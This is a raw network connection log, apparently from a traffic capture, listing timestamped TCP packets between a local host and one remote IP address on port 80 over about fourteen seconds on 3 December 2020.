Dec 3, 2020 10:03:06.133619070 CET	80	49821	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.301785946 CET	49822	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.318353891 CET	80	49822	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.319045067 CET	49822	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.321847916 CET	49822	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.338361025 CET	80	49822	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.338506937 CET	49822	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.355127096 CET	80	49822	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.384399891 CET	80	49822	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.384529114 CET	49822	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.384548903 CET	49822	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.401151896 CET	80	49822	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.963895082 CET	49823	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.980494976 CET	80	49823	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:06.980611086 CET	49823	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:06.983531952 CET	49823	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.000032902 CET	80	49823	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.000179052 CET	49823	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.016891003 CET	80	49823	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.036550045 CET	80	49823	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.036727905 CET	49823	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.037069082 CET	49823	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.053596020 CET	80	49823	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.227952003 CET	49825	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.244625092 CET	80	49825	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.247508049 CET	49825	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.247567892 CET	49825	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.264113903 CET	80	49825	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.264730930 CET	49825	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.281244993 CET	80	49825	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.307060957 CET	80	49825	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.307656050 CET	49825	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.307701111 CET	49825	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.324268103 CET	80	49825	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.493984938 CET	49826	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.510631084 CET	80	49826	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.510787010 CET	49826	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.514055967 CET	49826	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.530661106 CET	80	49826	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.532093048 CET	49826	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.548600912 CET	80	49826	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.577130079 CET	80	49826	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.577447891 CET	49826	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.577471018 CET	49826	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.594708920 CET	80	49826	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.794661045 CET	49828	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.811211109 CET	80	49828	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.812377930 CET	49828	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.815653086 CET	49828	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.832245111 CET	80	49828	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.834088087 CET	49828	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.850614071 CET	80	49828	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.908293009 CET	80	49828	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:07.908418894 CET	49828	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.908463955 CET	49828	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:07.924889088 CET	80	49828	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.098248959 CET	49830	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.114825010 CET	80	49830	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.115000010 CET	49830	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.117953062 CET	49830	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.134814978 CET	80	49830	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.134882927 CET	49830	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.151331902 CET	80	49830	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.178643942 CET	80	49830	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.178853989 CET	49830	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.179042101 CET	49830	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.195501089 CET	80	49830	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.371469975 CET	49832	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.388129950 CET	80	49832	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.388233900 CET	49832	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.390971899 CET	49832	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.407516956 CET	80	49832	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.408489943 CET	49832	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.425038099 CET	80	49832	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.453232050 CET	80	49832	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.454272032 CET	49832	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.454389095 CET	49832	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.470809937 CET	80	49832	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.668819904 CET	49834	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.685471058 CET	80	49834	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.685584068 CET	49834	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.688532114 CET	49834	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.705132961 CET	80	49834	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.706233978 CET	49834	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.722748041 CET	80	49834	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.751399040 CET	80	49834	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.751681089 CET	49834	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.768279076 CET	80	49834	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.952184916 CET	49836	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.968842983 CET	80	49836	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.969007015 CET	49836	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.977335930 CET	49836	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:08.993917942 CET	80	49836	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:08.994072914 CET	49836	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.010597944 CET	80	49836	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.036973000 CET	80	49836	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.037098885 CET	49836	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.037143946 CET	49836	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.053586960 CET	80	49836	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.239217997 CET	49838	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.255899906 CET	80	49838	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.256023884 CET	49838	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.259969950 CET	49838	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.276621103 CET	80	49838	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.276686907 CET	49838	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.293189049 CET	80	49838	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.318355083 CET	80	49838	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.318490028 CET	49838	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.318577051 CET	49838	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.335009098 CET	80	49838	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.531490088 CET	49839	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.548033953 CET	80	49839	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.548198938 CET	49839	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.551736116 CET	49839	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.568253994 CET	80	49839	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.568320036 CET	49839	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.584804058 CET	80	49839	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.610619068 CET	80	49839	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.610699892 CET	49839	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.610769033 CET	49839	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.627239943 CET	80	49839	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.816731930 CET	49841	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.833369017 CET	80	49841	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.833587885 CET	49841	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.837841988 CET	49841	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.854367018 CET	80	49841	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.854460955 CET	49841	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.870987892 CET	80	49841	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.896492004 CET	80	49841	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:09.896620989 CET	49841	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.896651030 CET	49841	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:09.913599014 CET	80	49841	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.272241116 CET	49842	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.288722038 CET	80	49842	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.289083958 CET	49842	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.292766094 CET	49842	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.309237957 CET	80	49842	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.309562922 CET	49842	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.326015949 CET	80	49842	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.357724905 CET	80	49842	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.360265017 CET	49842	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.360297918 CET	49842	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.379512072 CET	80	49842	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.658195972 CET	49844	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.674702883 CET	80	49844	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.675107002 CET	49844	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.678498983 CET	49844	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.695050001 CET	80	49844	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.697562933 CET	49844	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.714106083 CET	80	49844	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.771740913 CET	80	49844	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:10.771928072 CET	49844	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:10.788439989 CET	80	49844	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.052076101 CET	49845	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.068629026 CET	80	49845	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.068737030 CET	49845	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.071450949 CET	49845	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.087882042 CET	80	49845	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.090671062 CET	49845	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.107125044 CET	80	49845	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.214334011 CET	80	49845	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.214432001 CET	49845	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.214466095 CET	49845	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.231178999 CET	80	49845	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.533438921 CET	49846	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.549984932 CET	80	49846	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.550105095 CET	49846	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.553112030 CET	49846	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.569685936 CET	80	49846	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.569849014 CET	49846	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.586338997 CET	80	49846	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.615847111 CET	80	49846	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.615961075 CET	49846	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.615998983 CET	49846	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.632590055 CET	80	49846	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.797502995 CET	49848	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.814183950 CET	80	49848	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.814524889 CET	49848	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.821232080 CET	49848	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.837831974 CET	80	49848	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.840156078 CET	49848	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.857685089 CET	80	49848	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.875973940 CET	80	49848	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:11.876140118 CET	49848	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.876164913 CET	49848	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:11.892745018 CET	80	49848	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.169996977 CET	49850	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.186709881 CET	80	49850	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.186798096 CET	49850	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.190367937 CET	49850	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.206882000 CET	80	49850	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.206964970 CET	49850	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.223361015 CET	80	49850	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.249257088 CET	80	49850	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.249705076 CET	49850	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.249747038 CET	49850	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.266210079 CET	80	49850	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.473561049 CET	49851	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.490125895 CET	80	49851	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.490336895 CET	49851	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.493743896 CET	49851	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.510370016 CET	80	49851	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.512500048 CET	49851	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.528908968 CET	80	49851	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.555351019 CET	80	49851	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.558691025 CET	49851	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.562911987 CET	49851	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.579318047 CET	80	49851	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.842256069 CET	49852	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.859050989 CET	80	49852	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.859185934 CET	49852	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.862106085 CET	49852	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.878774881 CET	80	49852	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.878895044 CET	49852	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.895538092 CET	80	49852	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.924524069 CET	80	49852	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:12.925996065 CET	49852	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.926089048 CET	49852	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:12.942787886 CET	80	49852	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:13.118232012 CET	49853	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:13.134838104 CET	80	49853	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:13.134948015 CET	49853	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:13.235860109 CET	49853	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:13.252594948 CET	80	49853	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:13.252685070 CET	49853	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:13.269479990 CET	80	49853	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:13.303884983 CET	80	49853	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:13.303980112 CET	49853	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:13.304008961 CET	49853	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:13.321038008 CET	80	49853	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:13.970443010 CET	49854	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:13.987174034 CET	80	49854	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:13.987416983 CET	49854	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:13.990149021 CET	49854	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:14.006714106 CET	80	49854	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:14.006794930 CET	49854	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:14.023355961 CET	80	49854	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:14.050435066 CET	80	49854	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:14.050543070 CET	49854	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:14.050568104 CET	49854	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:14.067111969 CET	80	49854	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:15.804194927 CET	49855	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:15.820844889 CET	80	49855	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:15.820944071 CET	49855	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:15.823745012 CET	49855	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:15.840262890 CET	80	49855	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:15.840392113 CET	49855	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:15.856848955 CET	80	49855	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:15.885561943 CET	80	49855	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:15.885751963 CET	49855	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:15.948705912 CET	49855	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:15.965436935 CET	80	49855	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.249480009 CET	49856	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.266196012 CET	80	49856	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.266304016 CET	49856	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.269413948 CET	49856	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.285986900 CET	80	49856	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.286075115 CET	49856	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.302638054 CET	80	49856	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.327589989 CET	80	49856	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.327692986 CET	49856	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.327717066 CET	49856	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.344357967 CET	80	49856	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.688185930 CET	49857	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.704777002 CET	80	49857	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.704910994 CET	49857	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.708488941 CET	49857	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.725022078 CET	80	49857	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.725106001 CET	49857	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.741628885 CET	80	49857	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.789518118 CET	80	49857	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:16.789596081 CET	49857	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.789625883 CET	49857	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:16.807147980 CET	80	49857	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.103570938 CET	49858	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.120173931 CET	80	49858	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.120271921 CET	49858	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.123306036 CET	49858	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.139863968 CET	80	49858	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.143636942 CET	49858	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.160192966 CET	80	49858	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.185949087 CET	80	49858	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.186033010 CET	49858	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.186089039 CET	49858	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.202554941 CET	80	49858	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.578372955 CET	49859	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.595069885 CET	80	49859	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.595371962 CET	49859	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.598131895 CET	49859	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.614666939 CET	80	49859	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.614881992 CET	49859	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.631438017 CET	80	49859	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.878546000 CET	80	49859	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:17.878638983 CET	49859	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.878669024 CET	49859	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:17.895442009 CET	80	49859	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:18.258366108 CET	49860	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:18.274903059 CET	80	49860	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:18.275126934 CET	49860	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:18.277932882 CET	49860	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:18.294456005 CET	80	49860	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:18.297188997 CET	49860	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:18.313791037 CET	80	49860	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:18.340692997 CET	80	49860	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:18.340826988 CET	49860	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:18.340917110 CET	49860	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:18.357336044 CET	80	49860	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.005359888 CET	49861	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.022089958 CET	80	49861	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.022933006 CET	49861	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.025661945 CET	49861	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.042161942 CET	80	49861	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.042308092 CET	49861	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.058815002 CET	80	49861	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.166356087 CET	80	49861	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.168157101 CET	49861	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.168200970 CET	49861	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.184753895 CET	80	49861	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.348947048 CET	49862	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.365564108 CET	80	49862	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.365734100 CET	49862	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.368860006 CET	49862	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.385700941 CET	80	49862	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.387132883 CET	49862	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.403629065 CET	80	49862	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.428898096 CET	80	49862	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.429006100 CET	49862	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.429084063 CET	49862	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.445600033 CET	80	49862	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.856699944 CET	49864	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.873182058 CET	80	49864	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.876007080 CET	49864	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.879013062 CET	49864	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.895469904 CET	80	49864	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.897239923 CET	49864	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.913718939 CET	80	49864	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.953104973 CET	80	49864	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:19.955440998 CET	49864	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.955459118 CET	49864	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:19.972012043 CET	80	49864	47.91.79.163	192.168.2.3
